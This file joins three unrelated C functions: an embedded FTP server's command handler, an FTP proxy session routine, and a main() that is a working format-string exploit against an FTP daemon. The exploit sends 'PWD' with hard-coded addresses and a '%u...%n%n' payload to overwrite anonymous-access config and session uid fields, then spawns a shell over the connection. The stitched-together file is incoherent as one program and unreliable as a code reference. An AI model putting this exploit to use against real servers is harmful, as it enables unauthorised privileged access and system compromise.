char proc_ftpd(char * buf) { char **cmdp, *cp, *arg, *tmpstr; char sendbuf[200]; int slen; long ret; /* Translate first word to lower case */ for (cp = buf; *cp != ' ' && *cp != '\0'; cp++) *cp = tolower(*cp); /* Find command in table; if not present, return syntax error */ for (cmdp = commands; *cmdp != NULL; cmdp++) if (strncmp(*cmdp, buf, strlen(*cmdp)) == 0) break; if (*cmdp == NULL) { //fsprintf(CTRL_SOCK, badcmd, buf); slen = sprintf(sendbuf, "500 Unknown command '%s'\r\n", buf); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); return 0; } /* Allow only USER, PASS and QUIT before logging in */ if (ftp.state == FTPS_NOT_LOGIN) { switch(cmdp - commands) { case USER_CMD: case PASS_CMD: case QUIT_CMD: break; default: //fsprintf(CTRL_SOCK, notlog); slen = sprintf(sendbuf, "530 Please log in with USER and PASS\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); return 0; } } arg = &buf[strlen(*cmdp)]; while(*arg == ' ') arg++; /* Execute specific command */ switch (cmdp - commands) { case USER_CMD : #if defined(_FTP_DEBUG_) printf("USER_CMD : %s", arg); #endif slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; strcpy(ftp.username, arg); //fsprintf(CTRL_SOCK, givepass); slen = sprintf(sendbuf, "331 Enter PASS command\r\n"); ret = send(CTRL_SOCK, (uint8_t *)sendbuf, slen); if(ret < 0) { #if defined(_FTP_DEBUG_) printf("%d:send() error:%ld\r\n",CTRL_SOCK,ret); #endif close(CTRL_SOCK); return ret; } break; case PASS_CMD : #if defined(_FTP_DEBUG_) printf("PASS_CMD : %s", arg); #endif slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; ftplogin(arg); break; case TYPE_CMD : slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; switch(arg[0]) { case 'A': case 'a': /* Ascii */ ftp.type = ASCII_TYPE; //fsprintf(CTRL_SOCK, typeok, arg); slen = sprintf(sendbuf, "200 Type set to %s\r\n", arg); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case 'B': case 'b': /* Binary */ case 'I': case 'i': /* Image */ ftp.type = IMAGE_TYPE; //fsprintf(CTRL_SOCK, typeok, arg); slen = sprintf(sendbuf, "200 Type set to %s\r\n", arg); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; default: /* Invalid */ //fsprintf(CTRL_SOCK, badtype, arg); slen = sprintf(sendbuf, "501 Unknown type \"%s\"\r\n", arg); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; } break; case FEAT_CMD : slen = sprintf(sendbuf, "211-Features:\r\n MDTM\r\n REST STREAM\r\n SIZE\r\n MLST size*;type*;create*;modify*;\r\n MLSD\r\n UTF8\r\n CLNT\r\n MFMT\r\n211 END\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case QUIT_CMD : #if defined(_FTP_DEBUG_) printf("QUIT_CMD\r\n"); #endif //fsprintf(CTRL_SOCK, bye); slen = sprintf(sendbuf, "221 Goodbye!\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); disconnect(CTRL_SOCK); break; case RETR_CMD : slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; #if defined(_FTP_DEBUG_) printf("RETR_CMD\r\n"); #endif if(strlen(ftp.workingdir) == 1) sprintf(ftp.filename, "/%s", arg); else sprintf(ftp.filename, "%s/%s", ftp.workingdir, arg); slen = sprintf(sendbuf, "150 Opening data channel for file downloand from server of \"%s\"\r\n", ftp.filename); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); ftp.current_cmd = RETR_CMD; break; case APPE_CMD : case STOR_CMD: slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; #if defined(_FTP_DEBUG_) printf("STOR_CMD\r\n"); #endif if(strlen(ftp.workingdir) == 1) sprintf(ftp.filename, "/%s", arg); else sprintf(ftp.filename, "%s/%s", ftp.workingdir, arg); slen = sprintf(sendbuf, "150 Opening data channel for file upload to server of \"%s\"\r\n", ftp.filename); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); ftp.current_cmd = STOR_CMD; if((ret = connect(DATA_SOCK, remote_ip.cVal, remote_port)) != SOCK_OK){ #if defined(_FTP_DEBUG_) printf("%d:Connect error\r\n", DATA_SOCK); #endif return ret; } connect_state_data = 0; break; case PORT_CMD: #if defined(_FTP_DEBUG_) printf("PORT_CMD\r\n"); #endif if (pport(arg) == -1){ //fsprintf(CTRL_SOCK, badport); slen = sprintf(sendbuf, "501 Bad port syntax\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); } else{ //fsprintf(CTRL_SOCK, portok); ftp.dsock_mode = ACTIVE_MODE; ftp.dsock_state = DATASOCK_READY; slen = sprintf(sendbuf, "200 PORT command successful.\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); } break; case MLSD_CMD: #if defined(_FTP_DEBUG_) printf("MLSD_CMD\r\n"); #endif slen = sprintf(sendbuf, "150 Opening data channel for directory listing of \"%s\"\r\n", ftp.workingdir); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); ftp.current_cmd = MLSD_CMD; break; case LIST_CMD: #if defined(_FTP_DEBUG_) printf("LIST_CMD\r\n"); #endif slen = sprintf(sendbuf, "150 Opening data channel for directory listing of \"%s\"\r\n", ftp.workingdir); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); ftp.current_cmd = LIST_CMD; break; case NLST_CMD: #if defined(_FTP_DEBUG_) printf("NLST_CMD\r\n"); #endif break; case SYST_CMD: slen = sprintf(sendbuf, "215 UNIX emulated by WIZnet\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case PWD_CMD: case XPWD_CMD: slen = sprintf(sendbuf, "257 \"%s\" is current directory.\r\n", ftp.workingdir); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case PASV_CMD: slen = sprintf(sendbuf, "227 Entering Passive Mode (%d,%d,%d,%d,%d,%d)\r\n", local_ip.cVal[0], local_ip.cVal[1], local_ip.cVal[2], local_ip.cVal[3], local_port >> 8, local_port & 0x00ff); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); disconnect(DATA_SOCK); ftp.dsock_mode = PASSIVE_MODE; ftp.dsock_state = DATASOCK_READY; #if defined(_FTP_DEBUG_) printf("PASV port: %d\r\n", local_port); #endif break; case SIZE_CMD: slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; if(slen > 3) { tmpstr = strrchr(arg, '/'); *tmpstr = 0; #if defined(F_FILESYSTEM) slen = get_filesize(arg, tmpstr + 1); #else slen = _MAX_SS; #endif if(slen > 0) slen = sprintf(sendbuf, "213 %d\r\n", slen); else slen = sprintf(sendbuf, "550 File not Found\r\n"); } else { slen = sprintf(sendbuf, "550 File not Found\r\n"); } send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case CWD_CMD: slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; if(slen > 3) { arg[slen - 3] = 0x00; tmpstr = strrchr(arg, '/'); *tmpstr = 0; #if defined(F_FILESYSTEM) slen = get_filesize(arg, tmpstr + 1); #else slen = 0; #endif *tmpstr = '/'; if(slen == 0){ slen = sprintf(sendbuf, "213 %d\r\n", slen); strcpy(ftp.workingdir, arg); slen = sprintf(sendbuf, "250 CWD successful. \"%s\" is current directory.\r\n", ftp.workingdir); } else { slen = sprintf(sendbuf, "550 CWD failed. \"%s\"\r\n", arg); } } else { strcpy(ftp.workingdir, arg); slen = sprintf(sendbuf, "250 CWD successful. \"%s\" is current directory.\r\n", ftp.workingdir); } send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case MKD_CMD: case XMKD_CMD: slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; #if defined(F_FILESYSTEM) if (f_mkdir(arg) != 0) { slen = sprintf(sendbuf, "550 Can't create directory. \"%s\"\r\n", arg); } else { slen = sprintf(sendbuf, "257 MKD command successful. \"%s\"\r\n", arg); //strcpy(ftp.workingdir, arg); } #else slen = sprintf(sendbuf, "550 Can't create directory. Permission denied\r\n"); #endif send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case DELE_CMD: slen = strlen(arg); arg[slen - 1] = 0x00; arg[slen - 2] = 0x00; #if defined(F_FILESYSTEM) if (f_unlink(arg) != 0) { slen = sprintf(sendbuf, "550 Could not delete. \"%s\"\r\n", arg); } else { slen = sprintf(sendbuf, "250 Deleted. \"%s\"\r\n", arg); } #else slen = sprintf(sendbuf, "550 Could not delete. Permission denied\r\n"); #endif send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; case XCWD_CMD: case ACCT_CMD: case XRMD_CMD: case RMD_CMD: case STRU_CMD: case MODE_CMD: case XMD5_CMD: //fsprintf(CTRL_SOCK, unimp); slen = sprintf(sendbuf, "502 Command does not implemented yet.\r\n"); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; default: /* Invalid */ //fsprintf(CTRL_SOCK, badcmd, arg); slen = sprintf(sendbuf, "500 Unknown command \'%s\'\r\n", arg); send(CTRL_SOCK, (uint8_t *)sendbuf, slen); break; } return 1; }
void * ftpprchild(struct clientparam* param) { int i=0, res; unsigned char *buf; unsigned char *se; int status = 0; int inbuf; int pasv = 0; SOCKET sc = INVALID_SOCKET, ss = INVALID_SOCKET, clidatasock = INVALID_SOCKET; SASIZETYPE sasize; char * req = NULL; struct linger lg; struct pollfd fds; if(!(buf = myalloc(BUFSIZE))) RETURN(876); param->ctrlsock = param->clisock; param->operation = CONNECT; lg.l_onoff = 1; lg.l_linger = conf.timeouts[STRING_L];; if(socksend(param->ctrlsock, (unsigned char *)"220 Ready\r\n", 11, conf.timeouts[STRING_S])!=11) {RETURN (801);} for(;;){ i = sockgetlinebuf(param, CLIENT, buf, BUFSIZE - 10, '\n', conf.timeouts[CONNECTION_S]); if(!i) { RETURN(0); } if(i<4) {RETURN(802);} buf[i] = 0; if ((se=(unsigned char *)strchr((char *)buf, '\r'))) *se = 0; if (req) myfree (req); req = NULL; if (!strncasecmp((char *)buf, "OPEN ", 5)){ if(parsehostname((char *)buf+5, param, 21)){RETURN(803);} if(param->remsock != INVALID_SOCKET) { so._shutdown(param->remsock, SHUT_RDWR); so._closesocket(param->remsock); param->remsock = INVALID_SOCKET; } if((res = (*param->srv->authfunc)(param))) {RETURN(res);} param->ctrlsocksrv = param->remsock; if(socksend(param->ctrlsock, (unsigned char *)"220 Ready\r\n", 11, conf.timeouts[STRING_S])!=11) {RETURN (801);} status = 1; } else if (!strncasecmp((char *)buf, "USER ", 5)){ if(parseconnusername((char *)buf +5, param, 0, 21)){RETURN(804);} if(!status){ if((res = (*param->srv->authfunc)(param))) {RETURN(res);} param->ctrlsocksrv = param->remsock; } if(socksend(param->ctrlsock, (unsigned char *)"331 ok\r\n", 8, conf.timeouts[STRING_S])!=8) {RETURN (807);} status = 2; } else if (!strncasecmp((char *)buf, "PASS ", 5)){ param->extpassword = (unsigned char *)mystrdup((char *)buf+5); inbuf = BUFSIZE; res = ftplogin(param, (char *)buf, &inbuf); param->res = res; if(inbuf && inbuf != BUFSIZE && socksend(param->ctrlsock, buf, inbuf, conf.timeouts[STRING_S])!=inbuf) {RETURN (807);} if(!res) status = 3; sprintf((char *)buf, "%.64s@%.128s%c%hu", param->extusername, param->hostname, (ntohs(param->sins.sin_port)==21)?0:':', ntohs(param->sins.sin_port)); req = mystrdup((char *)buf); #ifndef WITHMAIN { int action, reqbufsize, reqsize; reqbufsize = BUFSIZE; reqsize = (int)strlen(buf) + 1; action = handlereqfilters(param, &buf, &reqbufsize, 0, &reqsize); if(action == HANDLED){ RETURN(0); } if(action != PASS) RETURN(877); } #endif } else if (status >= 3 && ( (!strncasecmp((char *)buf, "PASV", 4) && (pasv = 1)) || (!strncasecmp((char *)buf, "PORT ", 5) && !(pasv = 0)) )){ #ifndef WITHMAIN { int action, reqbufsize, reqsize; reqbufsize = BUFSIZE; reqsize = (int)strlen(buf) + 1; action = handlehdrfilterscli(param, &buf, &reqbufsize, 0, &reqsize); if(action == HANDLED){ RETURN(0); } if(action != PASS) RETURN(878); } #endif if(sc != INVALID_SOCKET) { so._shutdown(sc, SHUT_RDWR); so._closesocket(sc); sc = INVALID_SOCKET; } if(ss != INVALID_SOCKET) { so._shutdown(ss, SHUT_RDWR); so._closesocket(ss); ss = INVALID_SOCKET; } if(clidatasock != INVALID_SOCKET) { so._shutdown(clidatasock, SHUT_RDWR); so._closesocket(clidatasock); clidatasock = INVALID_SOCKET; } if ((clidatasock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {RETURN(821);} sasize = sizeof(struct sockaddr_in); if(so._getsockname(param->ctrlsock, (struct sockaddr *)¶m->sinc, &sasize)){RETURN(824);} param->sinc.sin_port = 0; if(so._bind(clidatasock, (struct sockaddr *)¶m->sinc, sasize)){RETURN(822);} if (pasv) { if(so._listen(clidatasock, 1)) {RETURN(823);} if(so._getsockname(clidatasock, (struct sockaddr *)¶m->sinc, &sasize)){RETURN(824);} sprintf((char *)buf, "227 OK (%u,%u,%u,%u,%u,%u)\r\n", (unsigned)(((unsigned char *)(¶m->sinc.sin_addr.s_addr))[0]), (unsigned)(((unsigned char *)(¶m->sinc.sin_addr.s_addr))[1]), (unsigned)(((unsigned char *)(¶m->sinc.sin_addr.s_addr))[2]), (unsigned)(((unsigned char *)(¶m->sinc.sin_addr.s_addr))[3]), (unsigned)(((unsigned char *)(¶m->sinc.sin_port))[0]), (unsigned)(((unsigned char *)(¶m->sinc.sin_port))[1]) ); } else { unsigned long b1, b2, b3, b4; unsigned short b5, b6; if(sscanf((char *)buf+5, "%lu,%lu,%lu,%lu,%hu,%hu", &b1, &b2, &b3, &b4, &b5, &b6)!=6) {RETURN(828);} param->sinc.sin_family = AF_INET; param->sinc.sin_port = htons((unsigned short)((b5<<8)^b6)); param->sinc.sin_addr.s_addr = htonl((b1<<24)^(b2<<16)^(b3<<8)^b4); if(so._connect(clidatasock, (struct sockaddr *)¶m->sinc, sasize)) { so._closesocket(clidatasock); clidatasock = INVALID_SOCKET; RETURN(826); } sprintf(buf, "200 OK\r\n"); } #ifndef WITHMAIN { int action, reqbufsize, reqsize; reqbufsize = BUFSIZE; reqsize = (int)strlen(buf) + 1; action = handlehdrfilterssrv(param, &buf, &reqbufsize, 0, &reqsize); if(action == HANDLED){ RETURN(0); } if(action != PASS) RETURN(879); } #endif if(socksend(param->ctrlsock, buf, (int)strlen((char *)buf), conf.timeouts[STRING_S])!=(int)strlen((char *)buf)) {RETURN (825);} status = 4; } else if (status == 4 && ( !(strncasecmp((char *)buf, "RETR ", 5) && (param->operation = FTP_GET)) || !(strncasecmp((char *)buf, "LIST", 4) && (param->operation = FTP_LIST))|| !(strncasecmp((char *)buf, "NLST ", 5) && (param->operation = FTP_LIST)) || !(strncasecmp((char *)buf, "MLSD", 4) && (param->operation = FTP_LIST)) || !(strncasecmp((char *)buf, "APPE ", 5) && (param->operation = FTP_PUT)) || !(strncasecmp((char *)buf, "STOR ", 5) && (param->operation = FTP_PUT)) )){ int arg = (buf[4] && buf[5])? 1:0; int ressent = 0; #ifndef WITHMAIN { int action, reqbufsize, reqsize; reqbufsize = BUFSIZE; reqsize = (int)strlen(buf) + 1; action = handlehdrfilterscli(param, &buf, &reqbufsize, 0, &reqsize); if(action == HANDLED){ RETURN(0); } if(action != PASS) RETURN(880); } #endif if(clidatasock == INVALID_SOCKET) { RETURN (829);} if(pasv){ memset(&fds, 0, sizeof(fds)); fds.fd = clidatasock; fds.events = POLLIN; res = so._poll (&fds, 1, conf.timeouts[STRING_L]*1000); if(res != 1) { RETURN(857); } sasize = sizeof(struct sockaddr_in); ss = so._accept(clidatasock, (struct sockaddr *)¶m->sinc, &sasize); if (ss == INVALID_SOCKET) { RETURN (858);} so._shutdown(clidatasock, SHUT_RDWR); so._closesocket(clidatasock); clidatasock = ss; ss = INVALID_SOCKET; } if(clidatasock == INVALID_SOCKET){RETURN(828);} req = mystrdup((char *)buf); buf[4] = 0; status = 3; ss = ftpcommand(param, buf, arg? buf+5 : NULL); if (ss == INVALID_SOCKET) { so._shutdown(clidatasock, SHUT_RDWR); so._closesocket(clidatasock); clidatasock = INVALID_SOCKET; if(socksend(param->ctrlsock, (unsigned char *)"550 err\r\n", 9, conf.timeouts[STRING_S])!=9) {RETURN (831);} continue; } if(socksend(param->ctrlsock, (unsigned char *)"125 data\r\n", 10, conf.timeouts[STRING_S]) != 10) { param->remsock = INVALID_SOCKET; RETURN (832); } if(param->srvoffset < param->srvinbuf)while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', 0)) > 3){ if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN(833);} if(isnumber(*buf) && buf[3] != '-') { ressent = 1; break; } } sc = param->remsock; param->remsock = ss; so._setsockopt(param->remsock, SOL_SOCKET, SO_LINGER, (unsigned char *)&lg, sizeof(lg)); so._setsockopt(clidatasock, SOL_SOCKET, SO_LINGER, (unsigned char *)&lg, sizeof(lg)); param->clisock = clidatasock; res = sockmap(param, conf.timeouts[CONNECTION_S]); if(param->remsock != INVALID_SOCKET) { so._shutdown (param->remsock, SHUT_RDWR); so._closesocket(param->remsock); } if(param->clisock != INVALID_SOCKET) { so._shutdown (param->clisock, SHUT_RDWR); so._closesocket(param->clisock); } param->clisock = param->ctrlsock; param->remsock = sc; sc = INVALID_SOCKET; ss = INVALID_SOCKET; clidatasock = INVALID_SOCKET; if(!ressent){ while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', conf.timeouts[STRING_L])) > 3){ if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN(833);} if(isnumber(*buf) && buf[3] != '-') break; } if(i < 3) {RETURN(834);} } } else { if(status < 3) { if(socksend(param->remsock, (unsigned char *)"530 login\r\n", 11, conf.timeouts[STRING_S])!=1) {RETURN (810);} continue; } if(!strncasecmp((char *)buf, "QUIT", 4)) status = 5; if(!strncasecmp((char *)buf, "CWD ", 4)) req = mystrdup((char *)buf); i = (int)strlen((char *)buf); buf[i++] = '\r'; buf[i++] = '\n'; if(socksend(param->remsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN (811);} param->statscli += i; param->nwrites++; while((i = sockgetlinebuf(param, SERVER, buf, BUFSIZE, '\n', conf.timeouts[STRING_L])) > 0){ if(socksend(param->ctrlsock, buf, i, conf.timeouts[STRING_S])!=i) {RETURN (812);} if(i > 4 && isnumber(*buf) && buf[3] != '-') break; } if(status == 5) {RETURN (0);} if(i < 3) {RETURN (813);} } sasize = sizeof(struct sockaddr_in); if(so._getpeername(param->ctrlsock, (struct sockaddr *)¶m->sinc, &sasize)){RETURN(819);} if(req && (param->statscli || param->statssrv)){ (*param->srv->logfunc)(param, (unsigned char *)req); } } CLEANRET: if(sc != INVALID_SOCKET) { so._shutdown(sc, SHUT_RDWR); so._closesocket(sc); } if(ss != INVALID_SOCKET) { so._shutdown(ss, SHUT_RDWR); so._closesocket(ss); } if(clidatasock != INVALID_SOCKET) { so._shutdown(clidatasock, SHUT_RDWR); so._closesocket(clidatasock); } sasize = sizeof(struct sockaddr_in); so._getpeername(param->ctrlsock, (struct sockaddr *)¶m->sinc, &sasize); if(param->res != 0 || param->statscli || param->statssrv ){ (*param->srv->logfunc)(param, (unsigned char *)((req && (param->res > 802))? req:NULL)); } if(req) myfree(req); if(buf) myfree(buf); freeparam(param); return (NULL); }
void main(int argc, char **argv) { struct sockaddr_in addr; int sockfd,i; long port=21,*addrptr; char c, name[100],pass[100],buf[1024]; /* SET DEFAULTS */ strcpy(name,"ftp"); strcpy(pass,"*****@*****.**"); while((c = getopt(argc,argv,"hn:p:c:")) != EOF) { switch(c) { case 'h': usage(argv[0]); case 'n': strncpy(name,optarg,100); break; case 'p': strncpy(pass,optarg,100); break; case 'c': port = atol(optarg); } } if((argc - optind) != 1) usage(argv[0]); bzero(&addr, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = resolve(argv[optind++]); printf("Connecting....."); if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1) { printf("failed\n"); perror("socket"); exit(-1); } if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { printf("failed\n"); perror("connect"); exit(-1); } #ifdef DEBUG sockfd = fileno(stdout); #endif wait_msg(sockfd); printf("success\n"); printf("Logging in <%s>:<%s>\n",name,pass); ftplogin(sockfd,name,pass); strcpy(buf,"PWD aaaa"); /* Overwrite config to allow writing * 0x0187e608: session.anon_config, bad char in 0x0187e60a * DenyAll is at 0x1885f01 on the box i used for testing * It just f***s up the string -> DenyAll isn't found -> default is AllowAll */ buf[8] = 0x01; buf[9] = 0x88; buf[10] = 0x5f; buf[11] = 0x01; /* session.disable_idswithing is at 0x187e5ca */ buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xca; /* Ugly, Ugly / didn't feel like counting :-) */ strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM); strcpy(buf+16+NUM,"%n%n\r\n"); write(sockfd,buf,strlen(buf)); sleep(1); /* 0x0187e5cc: session.uid*/ buf[8] = 0x01; buf[9] = 0x87; buf[10] = 0xe5; buf[11] = 0xcc; buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xce; write(sockfd,buf,strlen(buf)); /* 0x187e5d0: session.ouid */ buf[8] = 0x01; buf[9] = 0x87; buf[10] = 0xe5; buf[11] = 0xd0; buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xd2; write(sockfd,buf,strlen(buf)); /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */ write(sockfd,"LIST\r\n",6); /* LIST returns error "No data connection" */ do{ read(sockfd,buf,sizeof(buf)); }while(strstr(buf,"connection") == NULL); printf("Opening shell-connection\n"); shell(sockfd); printf("THE END\n"); close(sockfd); }